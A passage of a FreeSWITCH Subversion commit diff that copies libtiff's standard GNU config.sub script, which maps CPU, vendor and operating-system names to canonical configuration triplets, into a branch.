+UNAME_MACHINE = ${UNAME_MACHINE}
+UNAME_RELEASE = ${UNAME_RELEASE}
+UNAME_SYSTEM  = ${UNAME_SYSTEM}
+UNAME_VERSION = ${UNAME_VERSION}
+EOF
+
+exit 1
+
+# Local variables:
+# eval: (add-hook 'write-file-hooks 'time-stamp)
+# time-stamp-start: "timestamp='"
+# time-stamp-format: "%:y-%02m-%02d"
+# time-stamp-end: "'"
+# End:

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/config/config.sub

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/config/config.sub (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/config/config.sub) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/config/config.sub	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/config/config.sub	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,1608 @@
+#! /bin/sh
+# Configuration validation subroutine script.
+#   Copyright (C) 1992, 1993, 1994, 1995, 1996, 1997, 1998, 1999,
+#   2000, 2001, 2002, 2003, 2004, 2005 Free Software Foundation, Inc.
+
+timestamp='2006-02-23'
+
+# This file is (in principle) common to ALL GNU software.
+# The presence of a machine in this file suggests that SOME GNU software
+# can handle that machine.  It does not imply ALL GNU software can.
+#
+# This file is free software; you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation; either version 2 of the License, or
+# (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program; if not, write to the Free Software
+# Foundation, Inc., 51 Franklin Street - Fifth Floor, Boston, MA
+# 02110-1301, USA.
+#
+# As a special exception to the GNU General Public License, if you
+# distribute this file as part of a program that contains a
+# configuration script generated by Autoconf, you may include it under
+# the same distribution terms that you use for the rest of that program.
+
+
+# Please send patches to <config-patches@gnu.org>.  Submit a context
+# diff and a properly formatted ChangeLog entry.
+#
+# Configuration subroutine to validate and canonicalize a configuration type.
+# Supply the specified configuration type as an argument.
+# If it is invalid, we print an error message on stderr and exit with code 1.
+# Otherwise, we print the canonical config type on stdout and succeed.
+
+# This file is supposed to be the same for all GNU packages
+# and recognize all the CPU types, system types and aliases
+# that are meaningful with *any* GNU software.
+# Each package is responsible for reporting which valid configurations
+# it does not support.  The user should be able to distinguish
+# a failure to support a valid configuration from a meaningless
+# configuration.
+
+# The goal of this file is to map all the various variations of a given
+# machine specification into a single specification in the form:
+#	CPU_TYPE-MANUFACTURER-OPERATING_SYSTEM
+# or in some cases, the newer four-part form:
+#	CPU_TYPE-MANUFACTURER-KERNEL-OPERATING_SYSTEM
+# It is wrong to echo any other type of specification.
+
+me=`echo "$0" | sed -e 's,.*/,,'`
+
+usage="\
+Usage: $0 [OPTION] CPU-MFR-OPSYS
+       $0 [OPTION] ALIAS
+
+Canonicalize a configuration name.
+
+Operation modes:
+  -h, --help         print this help, then exit
+  -t, --time-stamp   print date of last modification, then exit
+  -v, --version      print version number, then exit
+
+Report bugs and patches to <config-patches@gnu.org>."
+
+version="\
+GNU config.sub ($timestamp)
+
+Copyright (C) 1992, 1993, 1994, 1995, 1996, 1997, 1998, 1999, 2000, 2001, 2002, 2003, 2004, 2005
+Free Software Foundation, Inc.
+
+This is free software; see the source for copying conditions.  There is NO
+warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE."
+
+help="
+Try \`$me --help' for more information."
+
+# Parse command line
+while test $# -gt 0 ; do
+  case $1 in
+    --time-stamp | --time* | -t )
+       echo "$timestamp" ; exit ;;
+    --version | -v )
+       echo "$version" ; exit ;;
+    --help | --h* | -h )
+       echo "$usage"; exit ;;
+    -- )     # Stop option processing
+       shift; break ;;
+    - )	# Use stdin as input.
+       break ;;
+    -* )
+       echo "$me: invalid option $1$help"
+       exit 1 ;;
+
+    *local*)
+       # First pass through any local machine types.
+       echo $1
+       exit ;;
+
+    * )
+       break ;;
+  esac
+done
+
+case $# in
+ 0) echo "$me: missing argument$help" >&2
+    exit 1;;
+ 1) ;;
+ *) echo "$me: too many arguments$help" >&2
+    exit 1;;
+esac
+
+# Separate what the user gave into CPU-COMPANY and OS or KERNEL-OS (if any).
+# Here we must recognize all the valid KERNEL-OS combinations.
+maybe_os=`echo $1 | sed 's/^\(.*\)-\([^-]*-[^-]*\)$/\2/'`
+case $maybe_os in
+  nto-qnx* | linux-gnu* | linux-dietlibc | linux-newlib* | linux-uclibc* | \
+  uclinux-uclibc* | uclinux-gnu* | kfreebsd*-gnu* | knetbsd*-gnu* | netbsd*-gnu* | \
+  storm-chaos* | os2-emx* | rtmk-nova*)
+    os=-$maybe_os
+    basic_machine=`echo $1 | sed 's/^\(.*\)-\([^-]*-[^-]*\)$/\1/'`
+    ;;
+  *)
+    basic_machine=`echo $1 | sed 's/-[^-]*$//'`
+    if [ $basic_machine != $1 ]
+    then os=`echo $1 | sed 's/.*-/-/'`
+    else os=; fi
+    ;;
+esac
+
+### Let's recognize common machines as not being operating systems so
+### that things like config.sub decstation-3100 work.  We also
+### recognize some manufacturers as not being operating systems, so we
+### can provide default operating systems below.
+case $os in
+	-sun*os*)
+		# Prevent following clause from handling this invalid input.
+		;;
+	-dec* | -mips* | -sequent* | -encore* | -pc532* | -sgi* | -sony* | \
+	-att* | -7300* | -3300* | -delta* | -motorola* | -sun[234]* | \
+	-unicom* | -ibm* | -next | -hp | -isi* | -apollo | -altos* | \
+	-convergent* | -ncr* | -news | -32* | -3600* | -3100* | -hitachi* |\
+	-c[123]* | -convex* | -sun | -crds | -omron* | -dg | -ultra | -tti* | \
+	-harris | -dolphin | -highlevel | -gould | -cbm | -ns | -masscomp | \
+	-apple | -axis | -knuth | -cray)
+		os=
+		basic_machine=$1
+		;;
+	-sim | -cisco | -oki | -wec | -winbond)
+		os=
+		basic_machine=$1
+		;;
+	-scout)
+		;;
+	-wrs)
+		os=-vxworks
+		basic_machine=$1
+		;;
+	-chorusos*)
+		os=-chorusos
+		basic_machine=$1
+		;;
+ 	-chorusrdb)
+ 		os=-chorusrdb
+		basic_machine=$1
+ 		;;
+	-hiux*)
+		os=-hiuxwe2
+		;;
+	-sco6)
+		os=-sco5v6
+		basic_machine=`echo $1 | sed -e 's/86-.*/86-pc/'`
+		;;
+	-sco5)
+		os=-sco3.2v5
+		basic_machine=`echo $1 | sed -e 's/86-.*/86-pc/'`
+		;;
+	-sco4)
+		os=-sco3.2v4
+		basic_machine=`echo $1 | sed -e 's/86-.*/86-pc/'`
+		;;
+	-sco3.2.[4-9]*)
+		os=`echo $os | sed -e 's/sco3.2./sco3.2v/'`
+		basic_machine=`echo $1 | sed -e 's/86-.*/86-pc/'`
+		;;
+	-sco3.2v[4-9]*)
+		# Don't forget version if it is 3.2v4 or newer.
+		basic_machine=`echo $1 | sed -e 's/86-.*/86-pc/'`
+		;;
+	-sco5v6*)
+		# Don't forget version if it is 3.2v4 or newer.
+		basic_machine=`echo $1 | sed -e 's/86-.*/86-pc/'`
+		;;
+	-sco*)
+		os=-sco3.2v2
+		basic_machine=`echo $1 | sed -e 's/86-.*/86-pc/'`
+		;;
+	-udk*)
+		basic_machine=`echo $1 | sed -e 's/86-.*/86-pc/'`
+		;;
+	-isc)
+		os=-isc2.2
+		basic_machine=`echo $1 | sed -e 's/86-.*/86-pc/'`
+		;;
+	-clix*)
+		basic_machine=clipper-intergraph
+		;;
+	-isc*)
+		basic_machine=`echo $1 | sed -e 's/86-.*/86-pc/'`
+		;;
+	-lynx*)
+		os=-lynxos
+		;;
+	-ptx*)
+		basic_machine=`echo $1 | sed -e 's/86-.*/86-sequent/'`
+		;;
+	-windowsnt*)
+		os=`echo $os | sed -e 's/windowsnt/winnt/'`
+		;;
+	-psos*)
+		os=-psos
+		;;
+	-mint | -mint[0-9]*)
+		basic_machine=m68k-atari
+		os=-mint
+		;;
+esac
+
+# Decode aliases for certain CPU-COMPANY combinations.
+case $basic_machine in
+	# Recognize the basic CPU types without company name.
+	# Some are omitted here because they have special meanings below.
+	1750a | 580 \
+	| a29k \
+	| alpha | alphaev[4-8] | alphaev56 | alphaev6[78] | alphapca5[67] \
+	| alpha64 | alpha64ev[4-8] | alpha64ev56 | alpha64ev6[78] | alpha64pca5[67] \
+	| am33_2.0 \
+	| arc | arm | arm[bl]e | arme[lb] | armv[2345] | armv[345][lb] | avr \
+	| bfin \
+	| c4x | clipper \
+	| d10v | d30v | dlx | dsp16xx \
+	| fr30 | frv \
+	| h8300 | h8500 | hppa | hppa1.[01] | hppa2.0 | hppa2.0[nw] | hppa64 \
+	| i370 | i860 | i960 | ia64 \
+	| ip2k | iq2000 \
+	| m32r | m32rle | m68000 | m68k | m88k | maxq | mb | microblaze | mcore \
+	| mips | mipsbe | mipseb | mipsel | mipsle \
+	| mips16 \
+	| mips64 | mips64el \
+	| mips64vr | mips64vrel \
+	| mips64orion | mips64orionel \
+	| mips64vr4100 | mips64vr4100el \
+	| mips64vr4300 | mips64vr4300el \
+	| mips64vr5000 | mips64vr5000el \
+	| mips64vr5900 | mips64vr5900el \
+	| mipsisa32 | mipsisa32el \
+	| mipsisa32r2 | mipsisa32r2el \
+	| mipsisa64 | mipsisa64el \
+	| mipsisa64r2 | mipsisa64r2el \
+	| mipsisa64sb1 | mipsisa64sb1el \
+	| mipsisa64sr71k | mipsisa64sr71kel \
+	| mipstx39 | mipstx39el \
+	| mn10200 | mn10300 \
+	| mt \
+	| msp430 \
+	| nios | nios2 \
+	| ns16k | ns32k \
+	| or32 \
+	| pdp10 | pdp11 | pj | pjl \
+	| powerpc | powerpc64 | powerpc64le | powerpcle | ppcbe \
+	| pyramid \
+	| sh | sh[1234] | sh[24]a | sh[23]e | sh[34]eb | shbe | shle | sh[1234]le | sh3ele \
+	| sh64 | sh64le \
+	| sparc | sparc64 | sparc64b | sparc86x | sparclet | sparclite \
+	| sparcv8 | sparcv9 | sparcv9b \
+	| strongarm \
+	| tahoe | thumb | tic4x | tic80 | tron \
+	| v850 | v850e \
+	| we32k \
+	| x86 | xscale | xscalee[bl] | xstormy16 | xtensa \
+	| z8k)
+		basic_machine=$basic_machine-unknown
+		;;
+	m32c)
+		basic_machine=$basic_machine-unknown
+		;;
+	m6811 | m68hc11 | m6812 | m68hc12)
+		# Motorola 68HC11/12.
+		basic_machine=$basic_machine-unknown
+		os=-none
+		;;
+	m88110 | m680[12346]0 | m683?2 | m68360 | m5200 | v70 | w65 | z8k)
+		;;
+	ms1)
+		basic_machine=mt-unknown
+		;;
+
+	# We use `pc' rather than `unknown'
+	# because (1) that's what they normally are, and
+	# (2) the word "unknown" tends to confuse beginning users.
+	i*86 | x86_64)
+	  basic_machine=$basic_machine-pc
+	  ;;
+	# Object if more than one company name word.
+	*-*-*)
+		echo Invalid configuration \`$1\': machine \`$basic_machine\' not recognized 1>&2
+		exit 1
+		;;
+	# Recognize the basic CPU types with company name.
+	580-* \
+	| a29k-* \
+	| alpha-* | alphaev[4-8]-* | alphaev56-* | alphaev6[78]-* \
+	| alpha64-* | alpha64ev[4-8]-* | alpha64ev56-* | alpha64ev6[78]-* \
+	| alphapca5[67]-* | alpha64pca5[67]-* | arc-* \
+	| arm-*  | armbe-* | armle-* | armeb-* | armv*-* \
+	| avr-* \
+	| bfin-* | bs2000-* \
+	| c[123]* | c30-* | [cjt]90-* | c4x-* | c54x-* | c55x-* | c6x-* \
+	| clipper-* | craynv-* | cydra-* \
+	| d10v-* | d30v-* | dlx-* \
+	| elxsi-* \
+	| f30[01]-* | f700-* | fr30-* | frv-* | fx80-* \
+	| h8300-* | h8500-* \
+	| hppa-* | hppa1.[01]-* | hppa2.0-* | hppa2.0[nw]-* | hppa64-* \
+	| i*86-* | i860-* | i960-* | ia64-* \
+	| ip2k-* | iq2000-* \
+	| m32r-* | m32rle-* \
+	| m68000-* | m680[012346]0-* | m68360-* | m683?2-* | m68k-* \
+	| m88110-* | m88k-* | maxq-* | mcore-* \
+	| mips-* | mipsbe-* | mipseb-* | mipsel-* | mipsle-* \
+	| mips16-* \
+	| mips64-* | mips64el-* \
+	| mips64vr-* | mips64vrel-* \
+	| mips64orion-* | mips64orionel-* \
+	| mips64vr4100-* | mips64vr4100el-* \
+	| mips64vr4300-* | mips64vr4300el-* \
+	| mips64vr5000-* | mips64vr5000el-* \
+	| mips64vr5900-* | mips64vr5900el-* \
+	| mipsisa32-* | mipsisa32el-* \
+	| mipsisa32r2-* | mipsisa32r2el-* \
+	| mipsisa64-* | mipsisa64el-* \
+	| mipsisa64r2-* | mipsisa64r2el-* \
+	| mipsisa64sb1-* | mipsisa64sb1el-* \
+	| mipsisa64sr71k-* | mipsisa64sr71kel-* \
+	| mipstx39-* | mipstx39el-* \
+	| mmix-* \
+	| mt-* \
+	| msp430-* \
+	| nios-* | nios2-* \
+	| none-* | np1-* | ns16k-* | ns32k-* \
+	| orion-* \
+	| pdp10-* | pdp11-* | pj-* | pjl-* | pn-* | power-* \
+	| powerpc-* | powerpc64-* | powerpc64le-* | powerpcle-* | ppcbe-* \
+	| pyramid-* \
+	| romp-* | rs6000-* \
+	| sh-* | sh[1234]-* | sh[24]a-* | sh[23]e-* | sh[34]eb-* | shbe-* \
+	| shle-* | sh[1234]le-* | sh3ele-* | sh64-* | sh64le-* \
+	| sparc-* | sparc64-* | sparc64b-* | sparc86x-* | sparclet-* \
+	| sparclite-* \
+	| sparcv8-* | sparcv9-* | sparcv9b-* | strongarm-* | sv1-* | sx?-* \
+	| tahoe-* | thumb-* \
+	| tic30-* | tic4x-* | tic54x-* | tic55x-* | tic6x-* | tic80-* \
+	| tron-* \
+	| v850-* | v850e-* | vax-* \
+	| we32k-* \
+	| x86-* | x86_64-* | xps100-* | xscale-* | xscalee[bl]-* \
+	| xstormy16-* | xtensa-* \
+	| ymp-* \
+	| z8k-*)
+		;;
+	m32c-*)
+		;;
+	# Recognize the various machine names and aliases which stand
+	# for a CPU type and a company and sometimes even an OS.
+	386bsd)
+		basic_machine=i386-unknown
+		os=-bsd
+		;;
+	3b1 | 7300 | 7300-att | att-7300 | pc7300 | safari | unixpc)
+		basic_machine=m68000-att
+		;;
+	3b*)
+		basic_machine=we32k-att
+		;;
+	a29khif)
+		basic_machine=a29k-amd
+		os=-udi
+		;;
+    	abacus)
+		basic_machine=abacus-unknown
+		;;
+	adobe68k)
+		basic_machine=m68010-adobe
+		os=-scout
+		;;
+	alliant | fx80)
+		basic_machine=fx80-alliant
+		;;
+	altos | altos3068)
+		basic_machine=m68k-altos
+		;;
+	am29k)
+		basic_machine=a29k-none
+		os=-bsd
+		;;
+	amd64)
+		basic_machine=x86_64-pc
+		;;
+	amd64-*)
+		basic_machine=x86_64-`echo $basic_machine | sed 's/^[^-]*-//'`
+		;;
+	amdahl)
+		basic_machine=580-amdahl
+		os=-sysv
+		;;
+	amiga | amiga-*)
+		basic_machine=m68k-unknown
+		;;
+	amigaos | amigados)
+		basic_machine=m68k-unknown
+		os=-amigaos
+		;;
+	amigaunix | amix)
+		basic_machine=m68k-unknown
+		os=-sysv4
+		;;
+	apollo68)
+		basic_machine=m68k-apollo
+		os=-sysv
+		;;
+	apollo68bsd)
+		basic_machine=m68k-apollo
+		os=-bsd
+		;;
+	aux)
+		basic_machine=m68k-apple
+		os=-aux
+		;;
+	balance)
+		basic_machine=ns32k-sequent
+		os=-dynix
+		;;
+	c90)
+		basic_machine=c90-cray
+		os=-unicos
+		;;
+	convex-c1)
+		basic_machine=c1-convex
+		os=-bsd
+		;;
+	convex-c2)
+		basic_machine=c2-convex
+		os=-bsd
+		;;
+	convex-c32)
+		basic_machine=c32-convex
+		os=-bsd
+		;;
+	convex-c34)
+		basic_machine=c34-convex
+		os=-bsd
+		;;
+	convex-c38)
+		basic_machine=c38-convex
+		os=-bsd
+		;;
+	cray | j90)
+		basic_machine=j90-cray
+		os=-unicos
+		;;
+	craynv)
+		basic_machine=craynv-cray
+		os=-unicosmp
+		;;
+	cr16c)
+		basic_machine=cr16c-unknown
+		os=-elf
+		;;
+	crds | unos)
+		basic_machine=m68k-crds
+		;;
+	crisv32 | crisv32-* | etraxfs*)
+		basic_machine=crisv32-axis
+		;;
+	cris | cris-* | etrax*)
+		basic_machine=cris-axis
+		;;
+	crx)
+		basic_machine=crx-unknown
+		os=-elf
+		;;
+	da30 | da30-*)
+		basic_machine=m68k-da30
+		;;
+	decstation | decstation-3100 | pmax | pmax-* | pmin | dec3100 | decstatn)
+		basic_machine=mips-dec
+		;;
+	decsystem10* | dec10*)
+		basic_machine=pdp10-dec
+		os=-tops10
+		;;
+	decsystem20* | dec20*)
+		basic_machine=pdp10-dec
+		os=-tops20
+		;;
+	delta | 3300 | motorola-3300 | motorola-delta \
+	      | 3300-motorola | delta-motorola)
+		basic_machine=m68k-motorola
+		;;
+	delta88)
+		basic_machine=m88k-motorola
+		os=-sysv3
+		;;
+	djgpp)
+		basic_machine=i586-pc
+		os=-msdosdjgpp
+		;;
+	dpx20 | dpx20-*)
+		basic_machine=rs6000-bull
+		os=-bosx
+		;;
+	dpx2* | dpx2*-bull)
+		basic_machine=m68k-bull
+		os=-sysv3
+		;;
+	ebmon29k)
+		basic_machine=a29k-amd
+		os=-ebmon
+		;;
+	elxsi)
+		basic_machine=elxsi-elxsi
+		os=-bsd
+		;;
+	encore | umax | mmax)
+		basic_machine=ns32k-encore
+		;;
+	es1800 | OSE68k | ose68k | ose | OSE)
+		basic_machine=m68k-ericsson
+		os=-ose
+		;;
+	fx2800)
+		basic_machine=i860-alliant
+		;;
+	genix)
+		basic_machine=ns32k-ns
+		;;
+	gmicro)
+		basic_machine=tron-gmicro
+		os=-sysv
+		;;
+	go32)
+		basic_machine=i386-pc
+		os=-go32
+		;;
+	h3050r* | hiux*)
+		basic_machine=hppa1.1-hitachi
+		os=-hiuxwe2
+		;;
+	h8300hms)
+		basic_machine=h8300-hitachi
+		os=-hms
+		;;
+	h8300xray)
+		basic_machine=h8300-hitachi
+		os=-xray
+		;;
+	h8500hms)
+		basic_machine=h8500-hitachi
+		os=-hms
+		;;
+	harris)
+		basic_machine=m88k-harris
+		os=-sysv3
+		;;
+	hp300-*)
+		basic_machine=m68k-hp
+		;;
+	hp300bsd)
+		basic_machine=m68k-hp
+		os=-bsd
+		;;
+	hp300hpux)
+		basic_machine=m68k-hp
+		os=-hpux
+		;;
+	hp3k9[0-9][0-9] | hp9[0-9][0-9])
+		basic_machine=hppa1.0-hp
+		;;
+	hp9k2[0-9][0-9] | hp9k31[0-9])
+		basic_machine=m68000-hp
+		;;
+	hp9k3[2-9][0-9])
+		basic_machine=m68k-hp
+		;;
+	hp9k6[0-9][0-9] | hp6[0-9][0-9])
+		basic_machine=hppa1.0-hp
+		;;
+	hp9k7[0-79][0-9] | hp7[0-79][0-9])
+		basic_machine=hppa1.1-hp
+		;;
+	hp9k78[0-9] | hp78[0-9])
+		# FIXME: really hppa2.0-hp
+		basic_machine=hppa1.1-hp
+		;;
+	hp9k8[67]1 | hp8[67]1 | hp9k80[24] | hp80[24] | hp9k8[78]9 | hp8[78]9 | hp9k893 | hp893)
+		# FIXME: really hppa2.0-hp
+		basic_machine=hppa1.1-hp
+		;;
+	hp9k8[0-9][13679] | hp8[0-9][13679])
+		basic_machine=hppa1.1-hp
+		;;
+	hp9k8[0-9][0-9] | hp8[0-9][0-9])
+		basic_machine=hppa1.0-hp
+		;;
+	hppa-next)
+		os=-nextstep3
+		;;
+	hppaosf)
+		basic_machine=hppa1.1-hp
+		os=-osf
+		;;
+	hppro)
+		basic_machine=hppa1.1-hp
+		os=-proelf
+		;;
+	i370-ibm* | ibm*)
+		basic_machine=i370-ibm
+		;;
+# I'm not sure what "Sysv32" means.  Should this be sysv3.2?
+	i*86v32)
+		basic_machine=`echo $1 | sed -e 's/86.*/86-pc/'`
+		os=-sysv32
+		;;
+	i*86v4*)
+		basic_machine=`echo $1 | sed -e 's/86.*/86-pc/'`
+		os=-sysv4
+		;;
+	i*86v)
+		basic_machine=`echo $1 | sed -e 's/86.*/86-pc/'`
+		os=-sysv
+		;;
+	i*86sol2)
+		basic_machine=`echo $1 | sed -e 's/86.*/86-pc/'`
+		os=-solaris2
+		;;
+	i386mach)
+		basic_machine=i386-mach
+		os=-mach
+		;;
+	i386-vsta | vsta)
+		basic_machine=i386-unknown
+		os=-vsta
+		;;
+	iris | iris4d)
+		basic_machine=mips-sgi
+		case $os in
+		    -irix*)
+			;;
+		    *)
+			os=-irix4
+			;;
+		esac
+		;;
+	isi68 | isi)
+		basic_machine=m68k-isi
+		os=-sysv
+		;;
+	m88k-omron*)
+		basic_machine=m88k-omron
+		;;
+	magnum | m3230)
+		basic_machine=mips-mips
+		os=-sysv
+		;;
+	merlin)
+		basic_machine=ns32k-utek
+		os=-sysv
+		;;
+	mingw32)
+		basic_machine=i386-pc
+		os=-mingw32
+		;;
+	miniframe)
+		basic_machine=m68000-convergent
+		;;
+	*mint | -mint[0-9]* | *MiNT | *MiNT[0-9]*)
+		basic_machine=m68k-atari
+		os=-mint
+		;;
+	mips3*-*)
+		basic_machine=`echo $basic_machine | sed -e 's/mips3/mips64/'`
+		;;
+	mips3*)
+		basic_machine=`echo $basic_machine | sed -e 's/mips3/mips64/'`-unknown
+		;;
+	monitor)
+		basic_machine=m68k-rom68k
+		os=-coff
+		;;
+	morphos)
+		basic_machine=powerpc-unknown
+		os=-morphos
+		;;
+	msdos)
+		basic_machine=i386-pc
+		os=-msdos
+		;;
+	ms1-*)
+		basic_machine=`echo $basic_machine | sed -e 's/ms1-/mt-/'`
+		;;
+	mvs)
+		basic_machine=i370-ibm
+		os=-mvs
+		;;
+	ncr3000)
+		basic_machine=i486-ncr
+		os=-sysv4
+		;;
+	netbsd386)
+		basic_machine=i386-unknown
+		os=-netbsd
+		;;
+	netwinder)
+		basic_machine=armv4l-rebel
+		os=-linux
+		;;
+	news | news700 | news800 | news900)
+		basic_machine=m68k-sony
+		os=-newsos
+		;;
+	news1000)
+		basic_machine=m68030-sony
+		os=-newsos
+		;;
+	news-3600 | risc-news)
+		basic_machine=mips-sony
+		os=-newsos
+		;;
+	necv70)
+		basic_machine=v70-nec
+		os=-sysv
+		;;
+	next | m*-next )
+		basic_machine=m68k-next
+		case $os in
+		    -nextstep* )
+			;;
+		    -ns2*)
+		      os=-nextstep2
+			;;
+		    *)
+		      os=-nextstep3
+			;;
+		esac
+		;;
+	nh3000)
+		basic_machine=m68k-harris
+		os=-cxux
+		;;
+	nh[45]000)
+		basic_machine=m88k-harris
+		os=-cxux
+		;;
+	nindy960)
+		basic_machine=i960-intel
+		os=-nindy
+		;;
+	mon960)
+		basic_machine=i960-intel
+		os=-mon960
+		;;
+	nonstopux)
+		basic_machine=mips-compaq
+		os=-nonstopux
+		;;
+	np1)
+		basic_machine=np1-gould
+		;;
+	nsr-tandem)
+		basic_machine=nsr-tandem
+		;;
+	op50n-* | op60c-*)
+		basic_machine=hppa1.1-oki
+		os=-proelf
+		;;
+	openrisc | openrisc-*)
+		basic_machine=or32-unknown
+		;;
+	os400)
+		basic_machine=powerpc-ibm
+		os=-os400
+		;;
+	OSE68000 | ose68000)
+		basic_machine=m68000-ericsson
+		os=-ose
+		;;
+	os68k)
+		basic_machine=m68k-none
+		os=-os68k
+		;;
+	pa-hitachi)
+		basic_machine=hppa1.1-hitachi
+		os=-hiuxwe2
+		;;
+	paragon)
+		basic_machine=i860-intel
+		os=-osf
+		;;
+	pbd)
+		basic_machine=sparc-tti
+		;;
+	pbb)
+		basic_machine=m68k-tti
+		;;
+	pc532 | pc532-*)
+		basic_machine=ns32k-pc532
+		;;
+	pc98)
+		basic_machine=i386-pc
+		;;
+	pc98-*)
+		basic_machine=i386-`echo $basic_machine | sed 's/^[^-]*-//'`
+		;;
+	pentium | p5 | k5 | k6 | nexgen | viac3)
+		basic_machine=i586-pc
+		;;
+	pentiumpro | p6 | 6x86 | athlon | athlon_*)
+		basic_machine=i686-pc
+		;;
+	pentiumii | pentium2 | pentiumiii | pentium3)
+		basic_machine=i686-pc
+		;;
+	pentium4)
+		basic_machine=i786-pc
+		;;
+	pentium-* | p5-* | k5-* | k6-* | nexgen-* | viac3-*)
+		basic_machine=i586-`echo $basic_machine | sed 's/^[^-]*-//'`
+		;;
+	pentiumpro-* | p6-* | 6x86-* | athlon-*)
+		basic_machine=i686-`echo $basic_machine | sed 's/^[^-]*-//'`
+		;;
+	pentiumii-* | pentium2-* | pentiumiii-* | pentium3-*)
+		basic_machine=i686-`echo $basic_machine | sed 's/^[^-]*-//'`
+		;;
+	pentium4-*)
+		basic_machine=i786-`echo $basic_machine | sed 's/^[^-]*-//'`
+		;;
+	pn)
+		basic_machine=pn-gould
+		;;
+	power)	basic_machine=power-ibm
+		;;
+	ppc)	basic_machine=powerpc-unknown
+		;;
+	ppc-*)	basic_machine=powerpc-`echo $basic_machine | sed 's/^[^-]*-//'`
+		;;
+	ppcle | powerpclittle | ppc-le | powerpc-little)
+		basic_machine=powerpcle-unknown
+		;;
+	ppcle-* | powerpclittle-*)
+		basic_machine=powerpcle-`echo $basic_machine | sed 's/^[^-]*-//'`
+		;;
+	ppc64)	basic_machine=powerpc64-unknown
+		;;
+	ppc64-*) basic_machine=powerpc64-`echo $basic_machine | sed 's/^[^-]*-//'`
+		;;
+	ppc64le | powerpc64little | ppc64-le | powerpc64-little)
+		basic_machine=powerpc64le-unknown
+		;;
+	ppc64le-* | powerpc64little-*)
+		basic_machine=powerpc64le-`echo $basic_machine | sed 's/^[^-]*-//'`
+		;;
+	ps2)
+		basic_machine=i386-ibm
+		;;
+	pw32)
+		basic_machine=i586-unknown
+		os=-pw32
+		;;
+	rdos)
+		basic_machine=i386-pc
+		os=-rdos
+		;;
+	rom68k)
+		basic_machine=m68k-rom68k
+		os=-coff
+		;;
+	rm[46]00)
+		basic_machine=mips-siemens
+		;;
+	rtpc | rtpc-*)
+		basic_machine=romp-ibm
+		;;
+	s390 | s390-*)
+		basic_machine=s390-ibm
+		;;
+	s390x | s390x-*)
+		basic_machine=s390x-ibm
+		;;
+	sa29200)
+		basic_machine=a29k-amd
+		os=-udi
+		;;
+	sb1)
+		basic_machine=mipsisa64sb1-unknown
+		;;
+	sb1el)
+		basic_machine=mipsisa64sb1el-unknown
+		;;
+	sei)
+		basic_machine=mips-sei
+		os=-seiux
+		;;
+	sequent)
+		basic_machine=i386-sequent
+		;;
+	sh)
+		basic_machine=sh-hitachi
+		os=-hms
+		;;
+	sh64)
+		basic_machine=sh64-unknown
+		;;
+	sparclite-wrs | simso-wrs)
+		basic_machine=sparclite-wrs
+		os=-vxworks
+		;;
+	sps7)
+		basic_machine=m68k-bull
+		os=-sysv2
+		;;
+	spur)
+		basic_machine=spur-unknown
+		;;
+	st2000)
+		basic_machine=m68k-tandem
+		;;
+	stratus)
+		basic_machine=i860-stratus
+		os=-sysv4
+		;;
+	sun2)
+		basic_machine=m68000-sun
+		;;
+	sun2os3)
+		basic_machine=m68000-sun
+		os=-sunos3
+		;;
+	sun2os4)
+		basic_machine=m68000-sun
+		os=-sunos4
+		;;
+	sun3os3)
+		basic_machine=m68k-sun
+		os=-sunos3
+		;;
+	sun3os4)
+		basic_machine=m68k-sun
+		os=-sunos4
+		;;
+	sun4os3)
+		basic_machine=sparc-sun
+		os=-sunos3
+		;;
+	sun4os4)
+		basic_machine=sparc-sun
+		os=-sunos4
+		;;
+	sun4sol2)
+		basic_machine=sparc-sun
+		os=-solaris2
+		;;
+	sun3 | sun3-*)
+		basic_machine=m68k-sun
+		;;
+	sun4)
+		basic_machine=sparc-sun
+		;;
+	sun386 | sun386i | roadrunner)
+		basic_machine=i386-sun
+		;;
+	sv1)
+		basic_machine=sv1-cray
+		os=-unicos
+		;;
+	symmetry)
+		basic_machine=i386-sequent
+		os=-dynix
+		;;
+	t3e)
+		basic_machine=alphaev5-cray
+		os=-unicos
+		;;
+	t90)
+		basic_machine=t90-cray
+		os=-unicos
+		;;
+	tic54x | c54x*)
+		basic_machine=tic54x-unknown
+		os=-coff
+		;;
+	tic55x | c55x*)
+		basic_machine=tic55x-unknown
+		os=-coff
+		;;
+	tic6x | c6x*)
+		basic_machine=tic6x-unknown
+		os=-coff
+		;;
+	tx39)
+		basic_machine=mipstx39-unknown
+		;;
+	tx39el)
+		basic_machine=mipstx39el-unknown
+		;;
+	toad1)
+		basic_machine=pdp10-xkl
+		os=-tops20
+		;;
+	tower | tower-32)
+		basic_machine=m68k-ncr
+		;;
+	tpf)
+		basic_machine=s390x-ibm
+		os=-tpf
+		;;
+	udi29k)
+		basic_machine=a29k-amd
+		os=-udi
+		;;
+	ultra3)
+		basic_machine=a29k-nyu
+		os=-sym1
+		;;
+	v810 | necv810)
+		basic_machine=v810-nec
+		os=-none
+		;;
+	vaxv)
+		basic_machine=vax-dec
+		os=-sysv
+		;;
+	vms)
+		basic_machine=vax-dec
+		os=-vms
+		;;
+	vpp*|vx|vx-*)
+		basic_machine=f301-fujitsu
+		;;
+	vxworks960)
+		basic_machine=i960-wrs
+		os=-vxworks
+		;;
+	vxworks68)
+		basic_machine=m68k-wrs
+		os=-vxworks
+		;;
+	vxworks29k)
+		basic_machine=a29k-wrs
+		os=-vxworks
+		;;
+	w65*)
+		basic_machine=w65-wdc
+		os=-none
+		;;
+	w89k-*)
+		basic_machine=hppa1.1-winbond
+		os=-proelf
+		;;
+	xbox)
+		basic_machine=i686-pc
+		os=-mingw32
+		;;
+	xps | xps100)
+		basic_machine=xps100-honeywell
+		;;
+	ymp)
+		basic_machine=ymp-cray
+		os=-unicos
+		;;
+	z8k-*-coff)
